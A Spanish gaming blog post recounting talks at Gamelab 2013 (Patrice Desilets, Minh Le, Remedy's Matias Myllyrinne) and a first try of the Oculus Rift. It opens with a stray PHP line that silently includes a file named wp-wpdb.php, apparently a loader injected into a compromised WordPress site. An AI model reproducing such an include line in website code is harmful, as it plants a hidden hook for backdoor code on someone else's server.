if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Gamelab 2013, crónica de lo mejor de la feria – La Fortaleza de LeChuck

Gamelab 2013, crónica de lo mejor de la feria

Otro año más vuelve Gamelab, la feria más importante del ocio interactivo que tiene lugar en este país, y allí estuvo servidora para asistir a las conferencias de algunas de las personas más influyentes de la industria.


Mi día comenzaba con la conferencia de 15 años de juegos AAA: que hemos aprendido y a donde vamos ahora a manos de Patrice Desilets, diseñador y ex-Ubisoft.

Patrice, de forma amena y cercana, relata su juventud por Francia, como desde chaval quería crear historias, por esa razón estudió cine, y hasta probó con la interpretación sin mucho éxito. Su afición por los videojuegos desde el Apple II de su padre le hicieron dejarlo todo para conseguir una oportunidad en este mundillo, para ello se le ocurrió perseguir al responsable de Ubisoft. Fue muy divertida la forma que dio con él, se enteró que estaba hospedado en un hotel de su ciudad, y como en esa época no había internet, echó mano de guia telefónica y comenzó a llamar a todos los hoteles de la zona por orden alfabético, hasta que en la Z lo encontró. Así fue como le ofrecieron hacer un juego de Playmobil, tenía una semana para presentar el proyecto, se ríe recordándolo y diciendo que desde siempre ha sido de Lego. En ese inexperto equipo nadie sabía hacer un juego, fue a través del diálogo y el trabajo en equipo donde se dieron cuenta que podían hacerlo. Destaca lo importante que es entender «la lógica del PC», a partir de ahí se crea el diseño y el guion del juego. Patrice resalta que los juegos son un diálogo con el jugador, no un monólogo, esto es algo básico para conectar con el público.

Su carrera creció y se convirtió en el director de diseño. Aprendió esos años leyendo y charlando, pero echaba de menos crear como antes y no estar atado en un despacho. Llegó su 2º juego: Donald Duck: Going Quackers (PS2)  y el estudio creció a 30 personas. La creación comenzó con un excel que recogía todas las ideas principales del título. Bromea recordado como muchas de las ideas del juego fueron vilmente robadas de otros célebres de la época: Crash Bandicoot, Super Mario, etc. El 3º juego, Rainbow Six-Flash, y 4º, Rainbow Six 3, solo creó la concepción por lo que no cuenta demasiados detalles.
En el quinto juego, Prince of Persa: The sands of time, fue el director creativo. El equipo creció a 50 personas. Este título marcó el primer gran éxito de su carrera, indica que le puso especial cariño en el movimiento y la creación de un personaje creíble. Prince of Persia cambió su vida, iba de un lugar a otro y la gente de la industria alababa su trabajo. Una frase que le marcó fue «antes no sabia que era la belleza y ahora si».

Su sexto juego fue muy especial, ya que cumplió 30 aňos. Estuvo 4 aňos en producción y el equipo creció a 200 miembros. La culminación de su carrera llega de la mano de Assassin’s Creed. Sus superiores tan solo le dijeron: «quiero que redefinas el género de acción» y dicho y hecho. Señala que su gran inspiración fue los libros que leyó en su etapa de universitario sobre sociedades secretas y asesinos. Y es más divertido ser un asesino que un héroe, ¿o no? Se volvieron locos con la tecnología, algo que considera que es peligroso a veces. Quería que la fantasía estuviera muy presente y que el personaje hiciera saltos locos (aunque confiesa entre risas que tiene vértigo). Todo ello en un mundo abierto.

El 7º juego fue Assassin’s Creed 2, con un nuevo aumento de equipo a 300 personas, y toda la jugabilidad y diversión de AC pero con una serie de ingredientes que no pudo meter en el primero, y un peso mucho más fuerte de la historia y pinceladas de humor.
En 2010 tuvo una hija y se tomó un año sabático. Después se puso con la creación de AC brotherhood, el cual no terminó. Actualmente se haya inmerso en un trabajo muy personal llamado 1666 Amsterdan, lleva 2 años en desarrollo y espera pronto terminarlo para contar más detalles.
Para terminar, anima a los jóvenes desarrolladores con sus proyectos, que no hay reglas para la creación de juegos. Hay que luchar por las ideas, ya que no hay nada cierto, todo está permitido.

A continuación asistí a la ponencia del padre del Counter Strike, Minh Le, el cual iba a tratar los Retos actuales de los juegos FPS multijugador. Una de las cosas que más le inspiran a la hora de crear es la audiencia, y con Counter Strike buscaba lanzar un producto para un público de entre 14 a 25 años, donde se explotara la habilidad y el juego en equipo. Por aquella época los FPS que gozaban de éxito eran principalmente Quake 2 y Rainbow Six, el primero era un juego muy rápido y agresivo, sin embargo, con nulo juego en equipo, en cambio el segundo contaba con ello pero era un juego demasiado lento. Con lo mejor de ambos se inspiró para crear Counter Strike.

Ahora, dentro de FIX Korea, está desarrollando Tactical Intervention. Era, y es, consciente de la gran competencia actual, así que analizó los 4 FPS que triunfan actualmente y el porqué de su éxito. En los primeros meses de desarrollo, echó un ojo por diferentes foros de Call of Duty para ver de qué se quejaban los jugadores, indica que esta es una gran ventaja que no tuvo años atrás con CS. Su juego iba a tener un ritmo rápido y juego en equipo indudablmente, como CS, y uno d los retos que se marcó es que fuera fácil para jugadores casuals. También decidió que el jugador podría elegir donde quería el radar, ya que en CS está arriba y cuesta mirarlo, así que presentó una alternativa, radar en el centro superpuesto. Los jugadores tendrán la capacidad de colgarse de sitios, controlar a un perro, y vehículos centrados en una zona del mapa.

Confiesa que Tactical Intervention no podrá competir con CS por el presupuesto, por lo que gráficamente no destaca pero será un divertido FPS free to play disponible en Steam.
En cuanto al trabajo de creación, relata que cada individuo tiene una forma de diseñar el juego y unas ideas distintas, por eso hay que disponer de diseñadores líderes que marquen unas pautas: cómo queremos el juego, fácil o difícil, cómo diseñar los niveles, etc.

Tras esta conferencia fui a probar las Oculus Rift, las gafas de «realidad virtual» de las que ya hablamos largo y tendido de todas sus posibilidades aquí, y no me iba a ir sin desaprovechar la oportunidad. Mi primera impresión es que no pesan, ya que a simple vista parece lo contrario. Una vez con ellas puestas moví la mirada por lo que parecía un zoológico, aunque a escasos metros pasó un dinosaurio, ugh! A pesar de la baja resolución de la demo, la sensación es lo bastante real para pensar en ellas como el complemento perfecto para los próximos lanzamientos. Me imagino un FPS con las gafas y puede ser una locura. Al quitármelas noté cierto mareo, así que un periodo prolongado con ellas no creo que sea muy aconsejable.

A continuación llegaba otra de las charlas estrella por parte del CEO de Remedy, el dicharachero Matias Myllyrinne, su ponencia llevaba por título: Evolución, adaptación y éxito: Cómo estrategias rápidas y agresivas pueden llevarte a vencer en tiempos de cambios drásticos. Menudo título, ¿eh? Matias, al igual que Patrice, presentó su ponencia de forma muy amena y con muchas bromas. Para comenzar, hizo un repaso a la trayectoria de Remedy, mostrando todos los juegos de la compañía y futuros proyectos.

Después pasó a comentar su asociación con Microsoft para hacer algo potente, fue así como lanzaron el thriller psicológico llamado Alan Wake. Buscaban crear un personaje carismático, con dilemas y todo ello mezclado en una atmósfera de luz y oscuridad, donde se entremezclara la realidad y la ficción sin vulgaridades. A partir de este título aprendieron a moverse por los mercados digitales y también a trabajar de forma flexible con colaboradores. Ahora mismo están trabajando en Quantum Break y un título para IOS. Bromea sobre la película de Max Payne, pregunta al público si a alguien le ha gustado, la gente se parte de risa en las butacas. A pesar de todo, comenta que fue un éxito comercial.

Indica que los deseos de los jugadores no van a cambiar, a la gente le gusta que le cuenten buenas historias, lo bonito y la interactividad, que es casi tan importante como la historia. En Quantum Break explotan el tema del tiempo, se descompone y manipula. Matias lo define como un show de alta calidad. Nos muestra el video que vimos en la conferencia de Microsoft (pintaza). Remedy no ve competencia sino el cambio de consumo. A continuación proyecta un video muy divertido del estudio de Remedy, gente trabajando y pasándoselo bien, como una gran familia unida. Cuentan con arquitectos, cineastas, guionistas, músicos… no tienen reglas, lo justo para no acabar en la cárcel, bromea. Cree que la humildad, honestidad y cooperación son las claves del éxito. Si se cuida al equipo, ellos cuidarán al público.

Con una firma de mi ejemplar de Alan Wake, y con la inspiradora filosofía y forma de trabajar de estas grandes personalidades, me volví a casa, satisfecha de una feria que cada vez apunta más alto.

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Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

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